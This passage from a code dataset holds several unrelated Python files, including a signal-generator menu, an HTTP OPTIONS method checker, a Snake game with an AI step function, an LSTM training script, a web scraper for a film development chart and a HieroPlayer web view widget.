\\t\\tfr={}Hz\".format(fsec))\n print(\"La amplitud de la señal de ruido \\tamp2={}v-->{}%\".format(amp2*1.65,amp2*100))\n print(\"----------------------------------------------------------------------\") \n consulta=input(\"Desea cambiar los valores S o N[Enter] :\")\n if consulta=='S' or consulta =='s':\n valor=input(\"Ingrese la frecuencia Hz de sampling \\t\\t\\tfs=\")\n if valor.isdigit():\n fs=int(valor)\n print(\"\\t\\tEl tiempo de sampleo es ts={:.4f}mseg\".format(1/fs*1000))\n valor=input(\"Ingrese la cantidad de períodos a visualzar \\t\\tN=\")\n if valor.isdigit():\n N=int(valor)\n valor=input(\"Ingrese la cantidad de veces que desea repetir la señal visualizada =\")\n if valor.isdigit():\n cantidad=int(valor) \n valor=input(\"Ingrese la frecuencia de red en Hz de la señal \\t\\tfred=\")\n if valor.isdigit():\n f=int(valor)\n valor=input(\"Ingrese la amplitud de la señal de red(0-100)% \\t\\tamp=\")\n if valor.isdigit():\n if(int (valor)>100):\n valor=100\n amp=float(valor)/100 \n valor=input(\"Ingrese la fase en grados(enteros) entre 0 a 360 \\tfase=\")\n if valor.isdigit():\n fase=float(valor)*np.pi/180 \n valor=input(\"Ingrese la frecuencia de ruido en Hz de \\t\\tfr=\")\n if valor.isdigit():\n fsec=int(valor)\n valor=input(\"Ingrese la amplitud de la señal de ruido(0-100)%\\tamp2=\")\n if valor.isdigit():\n if(int (valor)>100):\n valor=100\n amp2=float(valor)/100\n input(\"Presiona cualquier tecla para continuar\")\n os.system(\"clear\")\n \n\n#================================================================\n# Inicio del programa principal\n#================================================================\nmenu=\"\"\"\nProgramas de la transformada Discreta de Fourier\nelija una opción:\n\n[1] Señal de red senoidal \n[2] Señal de ruido senoidal\n[3] Señal de red cuadrada \n[4] Señal de red triangular \n[5] Suma de frecuencias senoidales (red+ruido)amp*fred+amp2*fr\n[6] Barrido de frecuencias senoidales de fred a fr\n\n[7] Termina Tx de sonido\n[8] Seteo de frecuencia de la señal de entrada, número de muestras, \n frecuencia de sampling.\n[9] Salir\n\"\"\"\n\nwhile(True):\n os.system(\"clear\")\n print(menu)\n\n opcion=input(\"Elija una opción: \")\n\n if opcion== '1':\n op_senoidal()\n elif opcion== '2':\n op_ruido()\n elif opcion== '3':\n op_cuadrada() \n elif opcion== '4':\n op_triangular()\n elif opcion== '5':\n op_senoidalSuma()\n elif opcion== '6':\n op_senoidalB()\n elif opcion== '7':\n stop_tx()\n elif opcion== '8':\n valores()\n elif opcion== '9':\n os.system(\"clear\")\n print(\"Gracias por usar el programa !!!\")\n exit (0)\n else:\n print(\"No selecionó una opción válida\\n\\r\")","sub_path":"CIAA/TP_final/linux/audio_gen_folino_v2.py","file_name":"audio_gen_folino_v2.py","file_ext":"py","file_size_in_byte":12335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"346299722","text":"#!/usr/bin/env python3\n\nimport http.client\n\nprint(\"Returns a list of methods if OPTIONS flag is enabled\")\nhost = input(\"Enter target host/IP: \")\nport = input(\"Enter target port: \")\n\n\n#class http.client.HTTPConnection(host, port=None, [timeout, ]source_address=None, blocksize=8192)\ntry:\n\tconnection = http.client.HTTPConnection(host, port)\n\tconnection.request(\"OPTIONS\", \"/\")\n\tresponse = connection.getresponse()\n\tresponse.read()\t\t\t\t\t\t#required or ResponseNotReady\n\tprint(\"Enabled methods are: \", response.getheader(\"allow\"))\n\n\tconnection.request(\"GET\" , \"/\")\n\tresponse = connection.getresponse()\n\tprint(\"Status of GET: \", response.status, response.reason)\n\tresponse.read()\t\t\t\t\t\t#required or ResponseNotReady\t\n\n\tconnection.close()\n\nexcept ConnectionRefusedError:\n\tprint(\"Connection Failed\")\n\tconnection.close()\n","sub_path":"py/httpclient.py","file_name":"httpclient.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"79109302","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 5 11:28:35 2018\n\n@author: js-wxyu\n\"\"\"\n\nimport time\nstart = time.time()\ndef factor_count(n):\n count=2\n for i in range (2,int(n**0.5)):\n if n%i==0:\n count+=2\n if n**0.5%1==0:\n count+=1\n return count\n\nx=1000\nwhile True:\n x+=1\n tri=int(x**2/2+x/2)\n if factor_count(tri)>500:\n print('{N_}=({n_1}×{n_})÷2'.format(N_=tri,n_1=x,n_=x+1))\n break\n\nprint(time.time() - start)","sub_path":"Q12.py","file_name":"Q12.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"253944746","text":"#!/usr/bin/env python\n\"\"\"\nReads from yml config file and export info to determine what to put in run.sh for this project.\nThen writes run.sh file.\n\nUsage:\n tigr-write-runsh.py [options] \n\nArguments:\n Configuration file in yml format\n\nOptions:\n --outputpath Full path to top of output tree\n --quiet Don't print warnings\n --verbose Print warnings\n --help Print help\n\n\nDETAILS\n\nReads from yml config file and export info to determine what to put in run.sh for this project.\nThen writes run.sh file.\n\n\"\"\"\nfrom docopt import docopt\nimport datman as dm\nimport datman.utils\nimport datman.scanid\nimport yaml\nimport os\nimport sys\n\n\nimport filecmp\nimport difflib\n\narguments = docopt(__doc__)\nconfig_yml = arguments['']\noutputpath = arguments['--outputpath']\nVERBOSE = arguments['--verbose']\nQUIET = arguments['--quiet']\n\n## Read in the configuration yaml file\nif not os.path.isfile(config_yml):\n sys.exit(\"configuration file not found. Try again.\")\n\n## load the yml file\nwith open(config_yml, 'r') as stream:\n config = yaml.load(stream)\n\n## check that the expected keys are there\nExpectedKeys = ['PipelineSettings', 'Projects', 'ExportSettings']\ndiffs = set(ExpectedKeys) - set(config.keys())\nif len(diffs) > 0:\n sys.exit(\"configuration file missing {}\".format(diffs))\n\nGeneralPipelineSettings = config['PipelineSettings']\nExportSettings = config['ExportSettings']\n\nfor Project in config['Projects'].keys():\n print(\"Working on Project {}\".format(Project))\n ProjectSettings = config['Projects'][Project]\n ## check that the projectdir exists\n projectdir = os.path.normpath(ProjectSettings['PROJECTDIR'])\n if not os.path.exists(projectdir):\n print(\"WARNING: PROJECTDIR {} does not exist\".format(projectdir))\n\n ## read in the site names as a list\n SiteNames = []\n for site in ProjectSettings['Sites']:\n SiteNames.append(site.keys()[0])\n\n ## sets some variables using defaults if not given\n if 'XNAT_PROJECT' in ProjectSettings.keys():\n XNAT_PROJECT = ProjectSettings['XNAT_PROJECT']\n else:\n XNAT_PROJECT = Project\n\n if 'PREFIX' in ProjectSettings.keys():\n PREFIX = ProjectSettings['PREFIX']\n else:\n PREFIX = Project\n\n if 'MRUSER' in ProjectSettings.keys():\n MRUSER = ProjectSettings['MRUSER']\n else:\n MRUSER = Project\n\n if 'MRFOLDER' in ProjectSettings.keys():\n MRFOLDER = ProjectSettings['MRFOLDER']\n else:\n MRFOLDER = '${MRUSER}*/*'\n\n ## read export info\n ScanTypes = ProjectSettings['ExportInfo'].keys()\n\n ## Update the General Settings with Project Specific Settings\n QC_Phantoms = True ## set QC_Phatoms to true (it gets set to False if indicated)\n PipelineSettings = list(GeneralPipelineSettings)\n if 'PipelineSettings' in ProjectSettings:\n for cmdi in ProjectSettings['PipelineSettings']:\n for cmdj in PipelineSettings:\n if cmdi.keys()[0] in cmdj.keys()[0]:\n cmdj.update(cmdi)\n\n ## unless an outputfile is specified, set the output to ${PROJECTDIR}/bin/run.sh\n if outputpath == None:\n ouputfile = os.path.join(projectdir,'bin','run.sh')\n else:\n projectoutput = os.path.join(outputpath,Project)\n dm.utils.makedirs(projectoutput)\n outputfile = os.path.join(projectoutput,'run.sh')\n\n #open file for writing\n runsh = open(outputfile,'w')\n\n runsh.write('''\\\n#!/bin/bash\n# Runs pipelines like a bro\n#\n# Usage:\n# run.sh [options]\n#\n# Options:\n# --quiet Do not be chatty (does nnt apply to pipeline stages)\n#\n ''')\n\n ## write the top bit\n runsh.write('\\n\\nexport STUDYNAME=' + Project + ' # Data archive study name\\n')\n runsh.write('export XNAT_PROJECT=' + XNAT_PROJECT + ' # XNAT project name\\n')\n runsh.write('export MRUSER=' + MRUSER +' # MR Unit FTP user\\n')\n runsh.write('export MRFOLDER=\"'+ MRFOLDER +'\" # MR Unit FTP folder\\n')\n runsh.write('export PROJECTDIR='+ projectdir +'\\n')\n runsh.write('export SITES=('+ ' '.join(SiteNames) +')\\n\\n')\n ## write the export from XNAT\n for siteinfo in ProjectSettings['Sites']:\n site = siteinfo.keys()[0]\n xnat = siteinfo[site]['XNAT_Archive']\n runsh.write('export XNAT_ARCHIVE_' + site + '=' + xnat + '\\n')\n runsh.write('\\n')\n ## write the gold standard info\n if len(SiteNames) == 1:\n runsh.write('export ' + site + '_STANDARD=')\n runsh.write(projectdir + '/metadata/gold_standards/\\n')\n else:\n for site in SiteNames:\n runsh.write('export ' + site + '_STANDARD=')\n runsh.write(projectdir + '/metadata/gold_standards/' + site + '\\n')\n\n ## set some settings and load datman module\n runsh.write('''\nargs=\"$@\" # commence ugly opt handling\nDATESTAMP=$(date +%Y%m%d)\n\nsource /etc/profile\nmodule load /archive/data-2.0/code/datman.module\nexport PATH=$PATH:${PROJECTDIR}/bin\n\n ''')\n\n ## define the message function\n runsh.write('function message () { [[ \"$args\" =~ \"--quiet\" ]] || echo \"$(date): $1\"; }\\n')\n\n ## start running stuff\n runsh.write('{\\n')\n runsh.write(' message \"Running pipelines for study: $STUDYNAME\"\\n')\n\n ## get the scans from the camh server\n for cmd in PipelineSettings:\n cmdname = cmd.keys()[0]\n if cmd[cmdname] == False:\n if cmdname == 'qc-phantom.py': QC_Phantoms = False\n continue\n if 'runif' in cmd[cmdname].keys():\n if not eval(cmd[cmdname]['runif']): continue\n if 'message' in cmd[cmdname].keys():\n runsh.write('\\n message \"'+ cmd[cmdname]['message']+ '...\"\\n')\n if 'modules' in cmd[cmdname].keys():\n runsh.write(' module load '+ cmd[cmdname]['modules']+'\\n')\n if 'enviroment' in cmd[cmdname].keys():\n runsh.write(' '+ cmd[cmdname]['enviroment']+'\\n')\n if 'CallMultipleTimes' in cmd[cmdname].keys():\n for subcmd in cmd[cmdname]['CallMultipleTimes'].keys():\n arglist = cmd[cmdname]['CallMultipleTimes'][subcmd]['arguments']\n thiscmd = ' ' + cmdname + ' ' + ' '.join(arglist) + '\\n'\n runsh.write(thiscmd)\n else:\n fullcmd = ' ' + cmdname + ' ' + ' '.join(cmd[cmdname]['arguments']) + '\\n'\n if 'IterateOverSites' in cmd[cmdname].keys():\n for site in SiteNames:\n thiscmd = fullcmd.replace('',site)\n runsh.write(thiscmd)\n else:\n runsh.write(fullcmd)\n if 'modules' in cmd[cmdname].keys():\n runsh.write(' module unload '+ cmd[cmdname]['modules']+'\\n')\n\n ## pushing stuff to git hub\n runsh.write(\n '''\n message \"Pushing QC documents to github...\"\n ( # subshell invoked to handle directory change\n cd ${PROJECTDIR}\n git add qc/\n git add metadata/checklist.csv\n git add metadata/checklist.yaml\n git diff --quiet HEAD || git commit -m \"Autoupdating QC documents\"\n git push --quiet\n )\n ''')\n\n ## pushing website ness\n if (QC_Phantoms == True) & (len(SiteNames) > 1):\n runsh.write(\n '''\n message \"Pushing website data to github...\"\n (\n cd ${PROJECTDIR}/website\n git add .\n git commit -m \"Updating QC plots\"\n git push --quiet\n )\n ''')\n\n### tee out a log\nrunsh.write(' message \"Done.\"\\n')\nrunsh.write('} | tee -a ${PROJECTDIR}/logs/run-all-${DATESTAMP}.log\\n')\n\n## close the file\nrunsh.close()\n#\n# ### change anything that needs to be changed with Find and Replace\n# if config['FindandReplace'] != None :\n# with open (outputfile,'r') as runsh:\n# allrun = runsh.read()\n# for block in config['FindandReplace']:\n# toFind = block['Find']\n# toReplace = block['Replace']\n# if block['Find'] in allrun:\n# allrun = allrun.replace(block['Find'],block['Replace'])\n# else:\n# print('WARNING: could not find {} in run.sh file'.format(block['Find']))\n# with open (outputfile,'w') as runsh:\n# runsh.write(allrun)\n","sub_path":"bin/tigr-write-runsh_redux.py","file_name":"tigr-write-runsh_redux.py","file_ext":"py","file_size_in_byte":8203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"571527514","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\n\nfrom keras.preprocessing.text import Tokenizer\nimport json\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM, Embedding, SpatialDropout1D\nfrom keras.preprocessing.sequence import pad_sequences\n\ndata = pd.read_pickle(\"./data/data.pkl\")\n\nmax_features = 2000\ntokenizer = Tokenizer(num_words = max_features)\ntokenizer.fit_on_texts(data[\"text\"].values)\n\nwith open(\"./data/tokenizer.json\", \"w\", encoding =\"utf-8\") as f:\n jsonobj = tokenizer.to_json()\n f.write(json.dumps(jsonobj, ensure_ascii = False))\n\n\nX = tokenizer.texts_to_sequences(data[\"text\"].values)\nX = pad_sequences(X)\nY = pd.get_dummies(data[\"sponsor\"]).values\n\nx_train, x_test, y_train, y_test = train_test_split(X, Y, test_size = 0.25, random_state = 2020)\n\nembed_dim = 128\nlstm_out = 196\n\nmodel = Sequential()\nmodel.add(Embedding(max_features, embed_dim, input_length = X.shape[1]))\nmodel.add(SpatialDropout1D(0.4))\nmodel.add(LSTM(lstm_out, dropout=0.2, recurrent_dropout=0.2))\nmodel.add(Dense(2,activation='softmax'))\nmodel.compile(loss = 'categorical_crossentropy', optimizer='adam',metrics = ['accuracy'])\nprint(model.summary())\n\nbatch_size = 32\nmodel.fit(x_train, y_train, validation_split = 0.1, epochs = 7, batch_size=batch_size, verbose = 1)#, use_multiprocessing = True)\nmodel.save(\"./data/nb_model.h5\")\n\nscore,acc = model.evaluate(x_test, y_test, verbose = 1, batch_size = batch_size)\n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"494702325","text":"# Prompt: https://leetcode.com/problems/1-bit-and-2-bit-characters/\nclass Solution:\n def isOneBitCharacter(self, bits):\n i = 0\n #loop through stopping on the first digit of each character\n while i < len(bits):\n #if we land on the last digit, it must be a 1-bit character\n if i == len(bits) - 1:\n return True\n i += 2 if bits[i] == 1 else 1\n return False\n","sub_path":"0. Easy/0717. 1-bit and 2-bit Characters/bits.py","file_name":"bits.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"461165295","text":"import pygame\nfrom enum import Enum\nimport random\nimport numpy as np\n\n# Constants\nBLOCK_SIZE = 20\nSPEED = 20\n\n# COLORS\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nBLUE1 = (0, 0, 255)\nBLUE2 = (0, 100, 255)\nRED = (255, 0, 0)\nGREEN1 = (0, 255, 0)\nGREEN2 = (100, 255, 0)\n\n\nclass Direction(Enum):\n RIGHT = 1\n LEFT = 2\n UP = 3\n DOWN = 4\n\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def __eq__(self, other):\n return self.x == other.x and self.y == other.y\n\n\nclass SnakeGame:\n def __init__(self, width=640, height=480, speed=SPEED):\n self.speed = speed\n pygame.init()\n self.width = width\n self.height = height\n self.font = pygame.font.SysFont('arial', 25)\n\n # Init display\n self.display = pygame.display.set_mode((self.width, self.height))\n pygame.display.set_caption(\"Snake\")\n self.clock = pygame.time.Clock()\n\n self.head = None\n self.body = None\n self.direction = None\n self.score = 0\n self.food = None\n self.frame_iteration = 0\n self.iterations_since_reward = 0\n self.reset()\n self._place_food()\n\n def reset(self):\n # Init game state\n self.direction = Direction.RIGHT\n self.head = Point(self.width/2, self.height/2)\n self.body = [self.head,\n Point(self.head.x - BLOCK_SIZE, self.head.y),\n Point(self.head.x - (2 * BLOCK_SIZE), self.head.y)]\n\n self.score = 0\n self.frame_iteration = 0\n self.iterations_since_reward = 0\n\n\n def _place_food(self):\n x = random.randint(0, (self.width - BLOCK_SIZE) // BLOCK_SIZE) * BLOCK_SIZE\n y = random.randint(0, (self.height - BLOCK_SIZE) // BLOCK_SIZE) * BLOCK_SIZE\n self.food = Point(x, y)\n if self.food in self.body:\n self._place_food()\n\n def _move(self):\n new_head = self.body.pop()\n if self.direction == Direction.RIGHT:\n new_head.x = self.head.x + BLOCK_SIZE\n new_head.y = self.head.y\n elif self.direction == Direction.LEFT:\n new_head.x = self.head.x - BLOCK_SIZE\n new_head.y = self.head.y\n elif self.direction == Direction.DOWN:\n new_head.y = self.head.y + BLOCK_SIZE\n new_head.x = self.head.x\n elif self.direction == Direction.UP:\n new_head.y = self.head.y - BLOCK_SIZE\n new_head.x = self.head.x\n\n self.body.insert(0, new_head)\n self.head = new_head\n\n def _extend_snake(self):\n new_tail = Point(0, 0)\n if self.direction == Direction.RIGHT:\n new_tail.x = self.body[-1].x - BLOCK_SIZE\n new_tail.y = self.body[-1].y\n elif self.direction == Direction.LEFT:\n new_tail.x = self.body[-1].x + BLOCK_SIZE\n new_tail.y = self.body[-1].y\n elif self.direction == Direction.DOWN:\n new_tail.y = self.body[-1].y - BLOCK_SIZE\n new_tail.x = self.body[-1].x\n elif self.direction == Direction.UP:\n new_tail.y = self.body[-1].y + BLOCK_SIZE\n new_tail.x = self.body[-1].x\n\n self.body.append(new_tail)\n\n def is_collision(self, point=None):\n if not point:\n point = self.head\n # Check if snake hits itself\n if point in self.body[1:]:\n return True\n\n # hits wall\n if point.x > self.width - BLOCK_SIZE or \\\n point.x < 0 or \\\n point.y > self.height - BLOCK_SIZE or \\\n point.y < 0:\n return True\n\n return False\n\n def _update_ui(self):\n self.display.fill(BLACK)\n\n pygame.draw.rect(self.display, GREEN1, pygame.Rect(self.head.x, self.head.y, BLOCK_SIZE, BLOCK_SIZE))\n pygame.draw.rect(self.display, GREEN2,\n pygame.Rect(self.head.x + 4, self.head.y + 4, BLOCK_SIZE - 8, BLOCK_SIZE - 8))\n\n for body_part in self.body[1:]:\n pygame.draw.rect(self.display, BLUE1, pygame.Rect(body_part.x, body_part.y, BLOCK_SIZE, BLOCK_SIZE))\n pygame.draw.rect(self.display, BLUE2, pygame.Rect(body_part.x + 4, body_part.y + 4, BLOCK_SIZE - 8, BLOCK_SIZE - 8))\n\n pygame.draw.rect(self.display, RED, pygame.Rect(self.food.x, self.food.y, BLOCK_SIZE, BLOCK_SIZE))\n\n text = self.font.render(f'Score: {self.score}', True, WHITE)\n self.display.blit(text, (0, 0))\n pygame.display.flip()\n\n def play_step_human(self):\n # 1. Collect user input\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n self.direction = Direction.LEFT\n if event.key == pygame.K_RIGHT:\n self.direction = Direction.RIGHT\n if event.key == pygame.K_UP:\n self.direction = Direction.UP\n if event.key == pygame.K_DOWN:\n self.direction = Direction.DOWN\n # 2. Move\n self._move()\n\n # 3. Check if game is over\n if self.is_collision():\n return True\n\n # 4. Check if food is reached\n if self.head == self.food:\n self.score += 1\n self._place_food()\n # extend snake\n self._extend_snake()\n\n # 5. Update UI and clock\n self._update_ui()\n self.clock.tick(self.speed)\n\n # 6. Return game state\n return False\n\n def _within_one(self):\n return abs(self.head.x - self.food.x) == 1 or abs(self.head.y - self.food.y) == 1\n\n def play_step_ai(self, action):\n self.frame_iteration += 1\n self.iterations_since_reward += 1\n # 1. Collect user input\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n # Convert ai action to new direction\n\n # [straight, right, left]\n # [1, 0, 0] -> Keep on going straight\n # [0, 1, 0] -> Turn right\n # [0, 0, 1] -> Turn left\n clockwise_dir = [Direction.RIGHT, Direction.DOWN, Direction.LEFT, Direction.UP]\n dir_idx = clockwise_dir.index(self.direction)\n\n if np.array_equal(action, [0, 1, 0]): # Turn right\n dir_idx = (dir_idx + 1) % len(clockwise_dir)\n if np.array_equal(action, [0, 0, 1]): # Turn left\n dir_idx = (dir_idx - 1) % len(clockwise_dir)\n self.direction = clockwise_dir[dir_idx]\n # 2. Move\n self._move()\n\n # 3. Check if game is over\n reward = 0\n if self.is_collision():\n return True, -10, self.score\n elif self.iterations_since_reward > 100 * len(self.body):\n return True, -5, self.score\n\n # 4. Check if food is reached\n if self.head == self.food:\n self.score += 1\n self.iterations_since_reward = 0\n self._place_food()\n # extend snake\n self._extend_snake()\n reward = 10\n elif self._within_one():\n reward = 5\n # 5. Update UI and clock\n self._update_ui()\n self.clock.tick(self.speed)\n\n # 6. Return game state\n return False, reward, self.score\n\n\n @staticmethod\n def human_play():\n game = SnakeGame()\n # Game Loop\n while True:\n game_over = game.play_step_human()\n if game_over:\n break\n print('Final Score:', game.score)\n\n\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":7615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"209935901","text":"# :coding: utf-8\n# :copyright: Copyright (c) 2014 ftrack\n\nfrom __future__ import absolute_import\n\nimport logging\n\nfrom PySide import QtGui, QtCore, QtWebKit\n\n\nclass WebView(QtGui.QWidget):\n '''Display a web view.'''\n\n def __init__(self, name, url=None, plugin=None, parent=None):\n '''Initialise web view with *name* and *url*.\n\n *name* will be used as the title of the widget and also will be\n converted to a lowercase dotted name which the panel can be referenced\n with. For example, \"My Panel\" -> \"my.panel\".\n\n *url* should be the initial url to display.\n\n *plugin* should be an instance of\n *:py:class:`ftrack_connect_hieroplayer.plugin.Plugin` which will be\n *injected into the JavaScript window object of any loaded page.\n\n *parent* is the optional parent of this widget.\n\n '''\n super(WebView, self).__init__(parent=parent)\n\n self.logger = logging.getLogger(\n __name__ + '.' + self.__class__.__name__\n )\n\n self.setObjectName(name.lower().replace(' ', '.'))\n self.setWindowTitle(name)\n\n self.plugin = plugin\n\n self.webView = QtWebKit.QWebView()\n self.webView.urlChanged.connect(self.changedLocation)\n\n # Use plugin network access manager if available.\n if self.plugin:\n self.webView.page().setNetworkAccessManager(\n self.plugin.networkAccessManager\n )\n\n self.frame = self.webView.page().mainFrame()\n\n # Enable developer tools for debugging loaded page.\n self.webView.settings().setAttribute(\n QtWebKit.QWebSettings.WebAttribute.DeveloperExtrasEnabled, True\n )\n self.inspector = QtWebKit.QWebInspector(self)\n self.inspector.setPage(self.webView.page())\n self.inspector.hide()\n\n self.splitter = QtGui.QSplitter(self)\n self.splitter.addWidget(self.webView)\n self.splitter.addWidget(self.inspector)\n\n layout = QtGui.QVBoxLayout(self)\n layout.addWidget(self.splitter)\n\n # Load the passed url.\n self.setUrl(url)\n\n def changedLocation(self):\n '''Handle location changed event.'''\n # Inject the current plugin into the page so that it can be called\n # from JavaScript.\n self.frame.addToJavaScriptWindowObject('hierosession', self.plugin)\n\n def setUrl(self, url):\n '''Load *url*.'''\n self.logger.debug('Changing url to {0}.'.format(url))\n self.webView.load(QtCore.QUrl(url))\n\n def url(self):\n '''Return currently loaded *url*.'''\n return self.webView.url().toString()\n","sub_path":"windows/ftrack-connect-package/resource/hieroplayer/Python/Startup/review/web_view.py","file_name":"web_view.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"129454312","text":"\"\"\"\nJoshua Stough\nDIP\n\nHistogram equalization on a color image, with plotting of the histograms.\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport scipy.ndimage as ndimage\nimport numpy as np\n\n\n#Load an image and normalize to [0,1]\nI = plt.imread('underExposed.jpg').astype(float)\nI = I - I.ravel().min()\nI = I/I.ravel().max()\n\n\n\n#Scaled per channel\n\nIE = np.zeros(I.shape)\n\nfor channel in range(3):\n hist, bins = np.histogram(I[...,channel], bins=np.arange(257) / 256)\n CDF = np.cumsum(hist) / sum(hist)\n\n Ir = np.interp(I[...,channel], xp=bins[:-1], fp=CDF)\n IE[...,channel] = Ir\n\n\n\n\nallbins = np.unique(I.ravel())\n\nf, ax1 = plt.subplots(1,2, figsize=(10,3))\nax1[0].imshow(I) #https://matplotlib.org/api/_as_gen/matplotlib.pyplot.imshow.html\nax1[0].set_title('Original Image')\n\nax1[1].hist(I[...,0].ravel(), allbins, alpha = .6, label = 'red', color = 'r')\nax1[1].hist(I[...,1].ravel(), allbins, alpha = .6, label = 'green', color = 'g')\nax1[1].hist(I[...,2].ravel(), allbins, alpha = .6, label = 'blue', color = 'b')\nax1[1].legend(loc = 'upper right')\nplt.show()\n\n\n\n\nf, ax2 = plt.subplots(1,2, figsize=(10,3))\nax2[0].imshow(IE) #https://matplotlib.org/api/_as_gen/matplotlib.pyplot.imshow.html\nax2[0].set_title('Image Equalized Per Channel')\n\nax2[1].hist(IE[...,0].ravel(), 250, alpha = .6, label = 'red', color = 'r')\nax2[1].hist(IE[...,1].ravel(), 250, alpha = .6, label = 'green', color = 'g')\nax2[1].hist(IE[...,2].ravel(), 250, alpha = .6, label = 'blue', color = 'b')\nax2[1].legend(loc = 'upper right')\nplt.show()\n","sub_path":"Lab/Lab03/histEqualizationWithHistPlots.py","file_name":"histEqualizationWithHistPlots.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"510732450","text":"# -*- coding: utf-8 -*-\ntry:\n import platform\n version = platform.python_version()\n assert version.startswith('3.5')\nexcept Exception as e:\n print('You should use Python >= 3.5.*!')\n import sys\n sys.exit(1)\ntry:\n import aiohttp\nexcept ImportError as e:\n print('You should install aiohttp!')\n import sys\n sys.exit(1)\ntry:\n import aiomysql\nexcept ImportError as e:\n print('You should install aiomysql!')\n import sys\n sys.exit(1)\nimport asyncio\nimport async_timeout\nimport logging\nimport requests\ntry:\n import ujson as json\nexcept ImportError as e:\n import json\ntry:\n import uvloop\nexcept ImportError as e:\n print('You should install uvloop!')\n import sys\n sys.exit(1)\ntry:\n from bs4 import BeautifulSoup\nexcept ImportError as e:\n print('You should install bs4!')\n import sys\n sys.exit(1)\n\nRequestHeaders = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, sdch, br',\n 'Accept-Language': 'en-US,en;q=0.8',\n 'Cache-Control': 'max-age=0',\n 'Connection': 'keep-alive',\n 'Host': 'www.digitaltruth.com',\n 'Referer': 'https://www.digitaltruth.com/',\n 'UserAgent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',\n}\n\nLogger = logging.getLogger('FilmsAsyncCrawler')\nLogger.setLevel(logging.INFO)\nCrawlerFileHandler = logging.FileHandler('FilmsAsyncCrawler.log')\nCrawlerFormatter = logging.Formatter('%(asctime)-15s - %(levelname)-5s - %(message)s')\nCrawlerFileHandler.setFormatter(CrawlerFormatter)\nLogger.addHandler(CrawlerFileHandler)\n\nasync def async_fetch(url):\n with async_timeout.timeout(10):\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as r:\n Logger.info('Request to <{}>'.format(url))\n Logger.info('Response status code is {}'.format(r.status))\n html = await r.text()\n soup = BeautifulSoup(html, 'lxml')\n try:\n dev_chart_trs = soup.find(name='table', attrs={'class': 'mdctable'}).find_all(name='tr')[1:]\n return [[td.get_text().strip() for td in tr.find_all(name='td')] for tr in dev_chart_trs]\n except Exception as e:\n Logger.error('Error happens when fetching {}'.format(url))\n return []\n\ndef crawler_event_loop(urls):\n asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())\n event_loop = asyncio.get_event_loop()\n tasks = [async_fetch(url) for url in urls]\n results = event_loop.run_until_complete(asyncio.gather(*tasks))\n with open('Films_Massive_Dev_Chart.json', 'w') as f:\n f.write(json.dumps(results, indent=4))\n\ndef callback_func(r, *args, **kwargs):\n Logger.info('Request to <{}>'.format(r.url))\n Logger.info('Response status code is {}'.format(r.status_code))\n\ndef main():\n index_page = requests.get('http://www.digitaltruth.com/chart/print.php', headers=RequestHeaders, hooks=dict(response=callback_func))\n if index_page.status_code == 200:\n soup = BeautifulSoup(index_page.text, 'lxml')\n Films_tds = soup.find(name='table', attrs={'class': 'generictable'}).find_all(name='tr')[1].find_all(name='td')[2:]\n with open('Films.json', 'w') as f:\n f.write(json.dumps([a.get_text().strip() for td in Films_tds for a in td.find_all(name='a')], indent=4))\n urls = ['http://www.digitaltruth.com/' + a['href'] for td in Films_tds for a in td.find_all(name='a')]\n Logger.info('********** Execute main event loop **********')\n crawler_event_loop(urls)\n\nif __name__ == '__main__':\n import sys\n sys.exit(main())\n","sub_path":"WeRoBot/script/AsyncCrawler_TheMassiveDevChart.py","file_name":"AsyncCrawler_TheMassiveDevChart.py","file_ext":"py","file_size_in_byte":3792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"20233224","text":"import pytest\n\nimport os\nimport pandas as pd\nfrom datetime import datetime\nfrom dataland.scheduler import Scheduler\n\n@pytest.fixture\ndef schedule():\n return {\n 'job_1': {\n 'frequency': 'daily',\n 'module': 'test.fixtures.jobs.test_job'\n },\n 'job_2': {\n 'frequency': 'daily',\n 'module': 'test.fixtures.jobs.test_job'\n },\n 'job_3': {\n 'frequency': 'daily',\n 'after': '12:00',\n 'before': '20:00',\n 'module': 'test.fixtures.jobs.test_job'\n },\n 'job_4': {\n 'last_run':'daily',\n 'after': '17:00',\n 'before': '20:00',\n 'module': 'test.fixtures.jobs.test_job'\n }\n }\n\n\n@pytest.fixture\ndef schedule_history():\n return {\n 'job_1': {\n 'last_run': 